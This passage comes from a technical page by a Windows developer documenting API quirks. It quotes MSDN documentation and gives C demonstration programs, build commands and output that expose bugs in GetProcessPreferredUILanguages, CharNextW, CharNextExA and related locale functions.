    0x0000006F = kl
    0x0000046F = kl-GL
    0x00000070 = ig
    0x00000470 = ig-NG
    0x00000078 = ii
    0x00000478 = ii-CN
    0x0000007A = arn
    0x0000047A = arn-CL
    0x0000007C = moh
    0x0000047C = moh-CA
    0x0000007E = br
    0x0000047E = br-FR
    0x00000080 = ug
    0x00000480 = ug-CN
    0x00000081 = mi
    0x00000481 = mi-NZ
    0x00000082 = oc
    0x00000482 = oc-FR
    0x00000083 = co
    0x00000483 = co-FR
    0x00000084 = gsw
    0x00000484 = gsw-FR
    0x00000085 = sah
    0x00000485 = sah-RU
    0x00000086 = qut
    0x00000486 = qut-GT
    0x00000087 = rw
    0x00000487 = rw-RW
    0x00000088 = wo
    0x00000488 = wo-SN
    0x0000008C = prs
    0x0000048C = prs-AF
    0x00000091 = gd
    0x00000491 = gd-GB
    0x00000400 = en-US
    0x00000409 = en-US
    0x00000800 = en-US
    0x00000409 = en-US
    0x00000C00 = en-US
    0x00000409 = en-US
    OUCH: the ConvertDefaultLocale() function fails for the explicitly listed predefined Locale Identifiers 0x0000007F alias LOCALE_INVARIANT, 0x00001000 alias LOCALE_CUSTOM_UNSPECIFIED and 0x00001400 alias LOCALE_CUSTOM_UI_DEFAULT!

    Oops: contrary to the last highlighted statement of the documentation cited above it but succeeds for non-default locale identifiers.

Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 33

The Win32 functions GetSystemPreferredUILanguages(), GetUserPreferredUILanguages() and GetThreadPreferredUILanguages(), introduced with Windows Vista, are documented in the MSDN as follows:
Retrieves the system preferred UI languages. […]
BOOL GetSystemPreferredUILanguages(
  DWORD   dwFlags,
  PULONG  pulNumLanguages,
  PZZWSTR pwszLanguagesBuffer,
  PULONG  pcchLanguagesBuffer
);
[…]

dwFlags

[…]

pulNumLanguages

Pointer to the number of languages retrieved in pwszLanguagesBuffer.

pwszLanguagesBuffer

Optional. Pointer to a buffer in which this function retrieves an ordered, null-delimited system preferred UI languages list, in the format specified by dwFlags. This list ends with two null characters.

Alternatively if this parameter is set to NULL and pcchLanguagesBuffer is set to 0, the function retrieves the required size of the language buffer in pcchLanguagesBuffer. The required size includes the two null characters.

pcchLanguagesBuffer

Pointer to the size, in characters, for the language buffer indicated by pwszLanguagesBuffer. On successful return from the function, the parameter contains the size of the retrieved language buffer.

Alternatively if this parameter is set to 0 and pwszLanguagesBuffer is set to NULL, the function retrieves the required size of the language buffer in pcchLanguagesBuffer.

[…]

Returns TRUE if successful or FALSE otherwise. […]

Retrieves information about the display language setting. […]
BOOL GetUserPreferredUILanguages(
  DWORD   dwFlags,
  PULONG  pulNumLanguages,
  PZZWSTR pwszLanguagesBuffer,
  PULONG  pcchLanguagesBuffer
);
[…]

dwFlags

[…]

pulNumLanguages

Pointer to the number of languages retrieved in pwszLanguagesBuffer.

pwszLanguagesBuffer

Optional. Pointer to a buffer in which this function retrieves an ordered, null-delimited display language list, in the format specified by dwflags. This list ends with two null characters.

Alternatively if this parameter is set to NULL and pcchLanguagesBuffer is set to 0, the function retrieves the required size of the language buffer in pcchLanguagesBuffer. The required size includes the two null characters.

pcchLanguagesBuffer

Pointer to the size, in characters, for the language buffer indicated by pwszLanguagesBuffer. On successful return from the function, the parameter contains the size of the retrieved language buffer.

Alternatively if this parameter is set to 0 and pwszLanguagesBuffer is set to NULL, the function retrieves the required size of the language buffer in pcchLanguagesBuffer.

[…]

Returns TRUE if successful or FALSE otherwise. […]

Retrieves the thread preferred UI languages for the current thread. […]
BOOL GetThreadPreferredUILanguages(
  DWORD   dwFlags,
  PULONG  pulNumLanguages,
  PZZWSTR pwszLanguagesBuffer,
  PULONG  pcchLanguagesBuffer
);
[…]

dwFlags

[…]

pulNumLanguages

Pointer to the number of languages retrieved in pwszLanguagesBuffer.

pwszLanguagesBuffer

Optional. Pointer to a buffer in which this function retrieves an ordered, null-delimited thread preferred UI languages list, in the format specified by dwFlags. This list ends with two null characters.

Alternatively if this parameter is set to NULL and pcchLanguagesBuffer is set to 0, the function retrieves the required size of the language buffer in pcchLanguagesBuffer. The required size includes the two null characters.

pcchLanguagesBuffer

Pointer to the size, in characters, for the language buffer indicated by pwszLanguagesBuffer. On successful return from the function, the parameter contains the size of the retrieved language buffer.

Alternatively if this parameter is set to 0 and pwszLanguagesBuffer is set to NULL, the function retrieves the required size of the language buffer in pcchLanguagesBuffer.

[…]

Returns TRUE if successful or FALSE otherwise. […]

The Win32 function GetProcessPreferredUILanguages(), introduced with Windows 7, is documented in the MSDN as follows:
Retrieves the process preferred UI languages. […]
BOOL GetProcessPreferredUILanguages(
  DWORD   dwFlags,
  PULONG  pulNumLanguages,
  PZZWSTR pwszLanguagesBuffer,
  PULONG  pcchLanguagesBuffer
);
[…]

dwFlags

[…]

pulNumLanguages

Pointer to the number of languages retrieved in pwszLanguagesBuffer.

pwszLanguagesBuffer

Optional. Pointer to a double null-terminated multi-string buffer in which the function retrieves an ordered, null-delimited list in preference order, starting with the most preferable.

Alternatively if this parameter is set to NULL and pcchLanguagesBuffer is set to 0, the function retrieves the required size of the language buffer in pcchLanguagesBuffer. The required size includes the two null characters.

pcchLanguagesBuffer

Pointer to the size, in characters, for the language buffer indicated by pwszLanguagesBuffer. On successful return from the function, the parameter contains the size of the retrieved language buffer.

Alternatively if this parameter is set to 0 and pwszLanguagesBuffer is set to NULL, the function retrieves the required size of the language buffer in pcchLanguagesBuffer.

[…]

Returns TRUE if successful or FALSE otherwise. […]

If the process preferred UI language list is empty or if the languages specified for the process are not valid, the function succeeds and returns an empty multistring in pwszLanguagesBuffer and 2 in the pcchLanguagesBuffer parameter.

Demonstration

Perform the following 3 simple steps to show the (mis)behaviour bug.
  1. Create the text file quirk33.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	DWORD	dwError = ERROR_SUCCESS;
    	DWORD	dwCount;
    	DWORD	dwBuffer;
    	WCHAR	szBuffer[LOCALE_NAME_MAX_LENGTH + 1];
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		dwCount = 123456789;
    		dwBuffer = 0;
    
    		if (!GetSystemPreferredUILanguages(MUI_LANGUAGE_NAME,
    		                                   &dwCount,
    		                                   (LPWSTR) NULL,
    		                                   &dwBuffer))
    			PrintConsole(hConsole,
    			             L"GetSystemPreferredUILanguages() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    			PrintConsole(hConsole,
    			             L"System\t%lu\t%lu\n",
    			             dwCount, dwBuffer);
    
    		dwCount = 123456789;
    		dwBuffer = 0;
    
    		if (!GetUserPreferredUILanguages(MUI_LANGUAGE_NAME,
    		                                 &dwCount,
    		                                 (LPWSTR) NULL,
    		                                 &dwBuffer))
    			PrintConsole(hConsole,
    			             L"GetUserPreferredUILanguages() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    			PrintConsole(hConsole,
    			             L"User\t%lu\t%lu\n",
    			             dwCount, dwBuffer);
    
    		dwCount = 123456789;
    		dwBuffer = 0;
    
    		if (!GetProcessPreferredUILanguages(MUI_LANGUAGE_NAME,
    		                                    &dwCount,
    		                                    (LPWSTR) NULL,
    		                                    &dwBuffer))
    			PrintConsole(hConsole,
    			             L"GetProcessPreferredUILanguages() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    			PrintConsole(hConsole,
    			             L"Process\t%lu\t%lu\n",
    			             dwCount, dwBuffer);
    
    		dwCount = 123456789;
    		dwBuffer = sizeof(szBuffer) / sizeof(*szBuffer);
    
    		if (!GetProcessPreferredUILanguages(MUI_LANGUAGE_NAME,
    		                                    &dwCount,
    		                                    szBuffer,
    		                                    &dwBuffer))
    			PrintConsole(hConsole,
    			             L"GetProcessPreferredUILanguages() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    			PrintConsole(hConsole,
    			             L"Process\t%lu\t%lu\n",
    			             dwCount, dwBuffer);
    
    		dwCount = 123456789;
    		dwBuffer = 0;
    
    		if (!GetThreadPreferredUILanguages(MUI_LANGUAGE_NAME | MUI_THREAD_LANGUAGES,
    		                                   &dwCount,
    		                                   (LPWSTR) NULL,
    		                                   &dwBuffer))
    			PrintConsole(hConsole,
    			             L"GetThreadPreferredUILanguages() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    			PrintConsole(hConsole,
    			             L"Thread\t%lu\t%lu\n",
    			             dwCount, dwBuffer);
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk33.exe from the source file quirk33.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk33.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk33.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk33.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk33.exe
    quirk33.obj
  3. Execute the console application quirk33.exe built in step 2. to demonstrate the (mis)behaviour:

    .\quirk33.exe
    System	1       7
    User	1       7
    Process	123456789       2
    Process	123456789       2
    Thread	0       2
    OUCH: the GetProcessPreferredUILanguages() function fails to set its output parameter *pulNumLanguages to 0 if it retrieves an empty buffer!
Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 34

The Win32 functions CharNextA(), CharNextExA() and CharNextW() are documented in the MSDN as follows:
Retrieves the pointer to the next character in a string. This function can handle strings consisting of either single- or multi-byte characters.

[…]

LPSTR CharNextA(
  LPCSTR lpsz
);

[…]

When called as an ANSI function, CharNext uses the system default code-page, whereas CharNextA() specifies a code-page to use.

This function works with default "user" expectations of characters when dealing with diacritics. For example: A string that contains U+0061 U+030a "LATIN SMALL LETTER A" + "COMBINING RING ABOVE" — which looks like "å", will advance two code points, not one. A string that contains U+0061 U+0301 U+0302 U+0303 U+0304 — which looks like "á̂̃̄", will advance five code points, not one, and so on.

Retrieves the pointer to the next character in a string. This function can handle strings consisting of either single- or multi-byte characters.

[…]

LPSTR CharNextExA(
  WORD   CodePage,
  LPCSTR lpCurrentChar,
  DWORD  dwFlags
);

[…]

CodePage

The identifier of the code page to use to check lead-byte ranges. Can be one of the code-page values provided in Code Page Identifiers, or one of the following predefined values.

[…]

Note: the code page identifier 65001 alias CP_UTF8 denotes multi-byte character strings in UTF-8 encoding.
Retrieves the pointer to the next character in a string. This function can handle strings consisting of either single- or multi-byte characters.

[…]

LPWSTR CharNextW(
  LPCWSTR lpsz
);
The MSDN article Surrogates and Supplementary Characters states:
[…] CharNext() and CharPrev() move by 16-bit code points, not by surrogate pairs.

Note

Standalone surrogate code points have either a high surrogate without an adjacent low surrogate, or vice versa. These code points are invalid and are not supported. Their behavior is undefined.

Oops: a surrogate pair consisting of two 16-bit code units represents but a single code point!

Note: a low (alias trail) surrogate followed by a high (alias lead) surrogate is of course invalid too!

Demonstration

Perform the following 5 simple steps to prove the documentation cited above wrong, show the (mis)behaviour and the bugs.
  1. Create the text file quirk34.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    #ifndef QUIRKS
    const	WCHAR	szWide[] = L"\xFEFF \xD83D\xDE12 \xD83C\xDDEA\xD83C\xDDFA a\x030A a\x0301\x0302\x0303\x0304";
    #else
    const	WCHAR	szWide[] = L"\xFEFF \xDE12\xD83D \xDDEA\xD83C\xDDFA\xD83C a\x030A a\x0301\x0302\x0303\x0304";
    #endif
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	UINT	uiWide;
    	UINT	uiANSI;
    	CHAR	szANSI[42];
    	LPCSTR	lpANSI;
    	LPCVOID	lpLast;
    	LPCWSTR	lpWide;
    	DWORD	dwError = ERROR_SUCCESS;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		PrintConsole(hConsole,
    		             L"%tu UTF-16 code units:\n",
    		             sizeof(szWide) / sizeof(*szWide));
    
    		for (uiWide = 0; uiWide < sizeof(szWide) / sizeof(*szWide); uiWide++)
    			PrintConsole(hConsole,
    			             L" %04hX",
    			             szWide[uiWide]);
    
    		PrintConsole(hConsole,
    		             L"\n\n");
    
    		for (lpWide = szWide, uiWide = 0;
    		     lpWide = CharNext(lpLast = lpWide), lpWide != lpLast;
    		     uiWide++)
    			PrintConsole(hConsole,
    			             L"%tu code units at offset %tu\n",
    			             lpWide - lpLast, -(szWide - lpLast));
    
    		PrintConsole(hConsole,
    		             L"CharNextW() enumerated %u characters in %tu code units\n",
    		             uiWide, sizeof(szWide) / sizeof(*szWide));
    
    		uiANSI = WideCharToMultiByte(CP_UTF8,
    		                             WC_ERR_INVALID_CHARS,
    		                             szWide, sizeof(szWide) / sizeof(*szWide),
    		                             szANSI, sizeof(szANSI),
    		                             (LPCCH) NULL, (LPBOOL) NULL);
    
    		if (uiANSI == 0)
    			PrintConsole(hConsole,
    			             L"WideCharToMultiByte() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			PrintConsole(hConsole,
    			             L"\n"
    			             L"WideCharToMultiByte() returned %u UTF-8 code units for %tu UTF-16 code units:\n",
    			             uiANSI, sizeof(szWide) / sizeof(*szWide));
    
    			lpANSI = szANSI;
    
    			do
    				PrintConsole(hConsole,
    				             L" %02X",
    				             *lpANSI++);
    			while (--uiANSI);
    
    			PrintConsole(hConsole,
    			             L"\n\n");
    
    			if ((GetACP() != CP_UTF8)
    			 || (GetOEMCP() != CP_UTF8))
    			{
    				for (lpANSI = szANSI, uiANSI = 0;
    				     lpANSI = CharNextExA(CP_UTF8, lpLast = lpANSI, 0), lpANSI != lpLast;
    				     uiANSI++)
    					PrintConsole(hConsole,
    					             L"%tu code units at offset %tu\n",
    					             lpANSI - lpLast, -(szANSI - lpLast));
    
    				PrintConsole(hConsole,
    				             L"CharNextExA() enumerated %u characters\n",
    				             uiANSI);
    			}
    			else
    			{
    				for (lpANSI = szANSI, uiANSI = 0;
    				     lpANSI = CharNextA(lpLast = lpANSI), lpANSI != lpLast;
    				     uiANSI++)
    					PrintConsole(hConsole,
    					             L"%tu code units at offset %tu\n",
    					             lpANSI - lpLast, -(szANSI - lpLast));
    
    				PrintConsole(hConsole,
    				             L"CharNextA() enumerated %u characters\n",
    				             uiANSI);
    			}
    		}
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk34.exe from the source file quirk34.c created in step 1.:

    SET CL=/GAFy /J /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk34.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk34.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk34.c
    quirk34.c(71) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'LPCWSTR'
    quirk34.c(71) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'const WCHAR *'
    quirk34.c(113) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'LPCSTR'
    quirk34.c(113) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'CHAR *'
    quirk34.c(126) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'LPCSTR'
    quirk34.c(126) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'CHAR *'
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk34.exe
    quirk34.obj
  3. Execute the console application quirk34.exe built in step 2. to demonstrate the (mis)behaviour:

    .\quirk34.exe
    19 UTF-16 code units:
     FEFF 0020 D83D DE12 0020 D83C DDEA D83C DDFA 0020 0061 030A 0020 0061 0301 0302 0303 0304 0000
    
    1 code units at offset 0
    2 code units at offset 1
    1 code units at offset 3
    2 code units at offset 4
    2 code units at offset 6
    1 code units at offset 8
    1 code units at offset 9
    2 code units at offset 10
    1 code units at offset 12
    5 code units at offset 13
    CharNextW() enumerated 10 characters in 19 code units
    
    WideCharToMultiByte() returned 32 UTF-8 code units for 19 UTF-16 code units:
     EF BB BF 20 F0 9F 98 92 20 F0 9F 87 AA F0 9F 87 BA 20 61 CC 8A 20 61 CC 81 CC 82 CC 83 CC 84 00
    
    1 code units at offset 0
    1 code units at offset 1
    1 code units at offset 2
    1 code units at offset 3
    1 code units at offset 4
    1 code units at offset 5
    1 code units at offset 6
    1 code units at offset 7
    1 code units at offset 8
    1 code units at offset 9
    1 code units at offset 10
    1 code units at offset 11
    1 code units at offset 12
    1 code units at offset 13
    1 code units at offset 14
    1 code units at offset 15
    1 code units at offset 16
    1 code units at offset 17
    1 code units at offset 18
    1 code units at offset 19
    1 code units at offset 20
    1 code units at offset 21
    1 code units at offset 22
    1 code units at offset 23
    1 code units at offset 24
    1 code units at offset 25
    1 code units at offset 26
    1 code units at offset 27
    1 code units at offset 28
    1 code units at offset 29
    1 code units at offset 30
    CharNextExA() enumerated 31 characters
    OUCH¹: the CharNextW() function fails to detect UTF-16 surrogate pairs – it mistreats a space character (U+0020) followed by a high surrogate (U+D83D, U+D83C), a low surrogate (U+DDEA) followed by a high surrogate (U+D83C) as well as a lone low surrogate (U+DE12, U+DDFA) as one character!

    Note: the surrogate pair U+D83D U+DE12 is the Unamused Face emoticon 😒, and the 2 surrogate pairs U+D83C U+DDEA U+D83C U+DDFA are the European Union Flag emoji 🇪🇺, composed according to the ISO 3166 2-letter country code EU with Regional Indicator Symbol Letter E and Regional Indicator Symbol Letter U.

    OUCH²: contrary to the highlighted statement of the documentation cited above, the CharNextExA() function fails to handle UTF-8 encoded multi-byte character strings at all – it mistreats every single byte as a character!

  4. Build the console application quirk34.exe a second time from the source file quirk34.c created in step 1., now with the preprocessor macro QUIRKS defined:

    CL.EXE /DQUIRKS quirk34.c
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk34.c
    quirk34.c(71) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'LPCWSTR'
    quirk34.c(71) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'const WCHAR *'
    quirk34.c(113) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'LPCSTR'
    quirk34.c(113) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'CHAR *'
    quirk34.c(126) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'LPCSTR'
    quirk34.c(126) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'CHAR *'
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk34.exe
    quirk34.obj
  5. Execute the console application quirk34.exe built in step 4. to demonstrate the misbehaviour bugs:

    .\quirk34.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    19 UTF-16 code units:
     FEFF 0020 DE12 D83D 0020 DDEA D83C DDFA D83C 0020 0061 030A 0020 0061 0301 0302 0303 0304 0000
    
    1 code units at offset 0
    1 code units at offset 1
    2 code units at offset 2
    1 code units at offset 4
    2 code units at offset 5
    2 code units at offset 7
    1 code units at offset 9
    2 code units at offset 10
    1 code units at offset 12
    5 code units at offset 13
    CharNext() enumerated 10 characters in 19 code units
    WideCharToMultiByte() returned error 1113
    
    0x459 (WIN32: 1113 ERROR_NO_UNICODE_TRANSLATION) -- 1113 (1113)
    Error message text: No mapping for the Unicode character exists in the target multi-byte code page.
    CertUtil: -error command completed successfully.
    OUCH³: with high and low surrogates swapped, thus creating an invalid UTF-16 string, the CharNextW() function detects surrogate pairs – it was apparently written by an absolute beginner who probably sorted low surrogates (U+DC00 to U+DFFF) due to their higher numerical value before high surrogates (U+D800 to U+DBFF) or was confused by Windows’ little endian byte-order which places low(er)-order bytes before high(er)-order bytes, and obviously never tested!
Note: the demonstration of the same misbehaviour and bugs with the Win32 functions CharPrevExA() and CharPrevW() is left as an exercise to the reader.

Note: the evaluation of the (mis)behaviour and bugs with the Win32 functions CharNextA() and CharPrevA() when the system’s (global) ANSI and OEM code pages are set to 65001 alias CP_UTF8 is also left as an exercise to the reader.

Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 35

Windows 10 1903 and later versions finally support UTF-8 with the A forms of the Win32 functions:
As of Windows Version 1903 (May 2019 Update), you can use the ActiveCodePage property in the appxmanifest for packaged apps, or the fusion manifest for unpackaged apps, to force a process to use UTF-8 as the process code page.

[…]

Win32 APIs often support both -A and -W variants.

-A variants recognize the ANSI code page configured on the system and support char*, while -W variants operate in UTF-16 and support WCHAR.

Until recently, Windows has emphasized "Unicode" -W variants over -A APIs. However, recent releases have used the ANSI code page and -A APIs as a means to introduce UTF-8 support to apps. If the ANSI code page is configured for UTF-8, -A APIs typically operate in UTF-8. This model has the benefit of supporting existing code built with -A APIs without any code changes.

[…]

Note

CP_ACP equates to CP_UTF8 only if running on Windows Version 1903 (May 2019 Update) or above and the ActiveCodePage property described above is set to UTF-8. Otherwise, it honors the legacy system code page. We recommend using CP_UTF8 explicitly.

The Win32 function GetLocaleInfo() is documented in the MSDN as follows:
Retrieves information about a locale specified by identifier.

[…]

Note For global compatibility, the application should prefer the Unicode "W" API forms to the "A" forms. GetLocaleInfoA will limit the character data and could result in results that appear corrupted to users, particularly in globally enabled applications. For this API, GetLocaleInfoEx is preferred as it is Unicode and also supports modern locale name standards.
int GetLocaleInfo(
  LCID   Locale,
  LCTYPE LCType,
  LPSTR  lpLCData,
  int    cchData
);
[…]

Locale

Locale Identifier for which to retrieve information. […]

LCType

The locale information to retrieve. For detailed definitions, see the LCType parameter of GetLocaleInfoEx.

lpLCData

Pointer to a buffer in which this function retrieves the requested locale information. This pointer is not used if cchData is set to 0. For more information, see the Remarks section.

cchData

Size, in TCHAR values, of the data buffer indicated by lpLCData. Alternatively, the application can set this parameter to 0. In this case, the function does not use the lpLCData parameter and returns the required buffer size, including the terminating null character.

[…]

Remarks

For the operation of this function, see Remarks for GetLocaleInfoEx.

[…]

Oops: contrary to the highlighted note, in Windows 10 1903 and later versions the A form of this function supports but Unicode too!

Unfortunately the Remarks section is empty and refers to the GetLocaleInfoEx() function, which is documented in the MSDN as follows:

Retrieves information about a locale specified by name.
Note The application should call this function in preference to GetLocaleInfo if designed to run only on Windows Vista and later.
[…]
int GetLocaleInfoEx(
  LPCWSTR lpLocaleName
  LCTYPE  LCType,
  LPSTR   lpLCData,
  int     cchData
);
[…]

lpLocaleName

Pointer to a locale name, or one of the following predefined values. […]

LCType

The locale information to retrieve. For possible values, see the "Constants Used in the LCType Parameter of GetLocaleInfo, GetLocaleInfoEx, and SetLocaleInfo" section in Locale Information Constants. […]

lpLCData

Pointer to a buffer in which this function retrieves the requested locale information. This pointer is not used if cchData is set to 0.

cchData

Size, in characters, of the data buffer indicated by lpLCData. Alternatively, the application can set this parameter to 0. In this case, the function does not use the lpLCData parameter and returns the required buffer size, including the terminating null character.

[…]

Oops: this function supports Unicode but only in UTF-16LE encoding, not in UTF-8 encoding, as the GetLocaleInfoA() function does in Windows 10 1903 and later versions!

The various Locale Information Constants, for example LOCALE_SNATIVE*, are documented in the MSDN as follows:

Value Meaning
LOCALE_SNATIVECOUNTRYNAME Windows 7 and later: Native name of the country/region, for example, España for Spain. The maximum number of characters allowed for this string is 80, including a terminating null character.
[…]
LOCALE_SNATIVEDIGITS Native equivalents of ASCII 0 through 9. The maximum number of characters allowed for this string is eleven, including a terminating null character. For example, Arabic uses ٠١٢٣٤٥٦٧٨٩. See also LOCALE_IDIGITSUBSTITUTION.
[…]
LOCALE_SNATIVELANGUAGENAME Windows 7 and later: Native name of the language, for example, Հայերեն for Armenian (Armenia). The maximum number of characters allowed for this string is 80, including a terminating null character.
Ouch: including a terminating NUL, the UTF-8 encoded character string u"٠١٢٣٤٥٦٧٨٩" alias "\xD9\xA0\xD9\xA1\xD9\xA2\xD9\xA3\xD9\xA4\xD9\xA5\xD9\xA6\xD9\xA7\xD9\xA8\xD9\xA9" occupies but 21 instead of 11 characters, i.e. the second highlighted statement of the documentation cited above is definitely wrong!

Demonstration

Perform the following 6 simple steps to prove the documentation cited above wrong, show the (mis)behaviour and also a bug.
  1. Create the text file quirk35.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    #define ERROR_INVALID_LOCALE	ERROR_INVALID_PARAMETER
    
    #define LANG_MAX	0x01FF
    #define SUBLANG_MAX	0x3F
    
    #ifndef _WIN64
    #pragma intrinsic(memcmp)
    #else
    #pragma function(memcmp)
    
    int	memcmp(char const *left, char const *right, size_t count)
    {
    	size_t	index;
    	int	delta;
    
    	for (index = 0; index < count; index++)
    		if (delta = left[index] - right[index])
    			return delta;
    	return 0;
    }
    #endif
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	DWORD	dwError = ERROR_SUCCESS;
    	DWORD	dwPrimary;
    	DWORD	dwSubLang;
    	LCID	lcLocale;
    	CHAR	szANSI[11];
    	WCHAR	szUnicode[11];
    	INT	iInfo;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		if ((GetACP() != CP_UTF8)
    		 || (GetOEMCP() != CP_UTF8))
    			for (dwPrimary = LANG_MAX; dwPrimary > LANG_NEUTRAL; dwPrimary--)
    				for (dwSubLang = SUBLANG_MAX; dwSubLang > SUBLANG_NEUTRAL; dwSubLang--)
    				{
    					lcLocale = MAKELCID(MAKELANGID(dwPrimary, dwSubLang), SORT_DEFAULT);
    
    					if (GetLocaleInfoW(lcLocale,
    					                   LOCALE_SNATIVEDIGITS,
    					                   szUnicode,
    					                   sizeof(szUnicode) / sizeof(*szUnicode)) == 0)
    					{
    						dwError = GetLastError();
    
    						if (dwError != ERROR_INVALID_LOCALE)
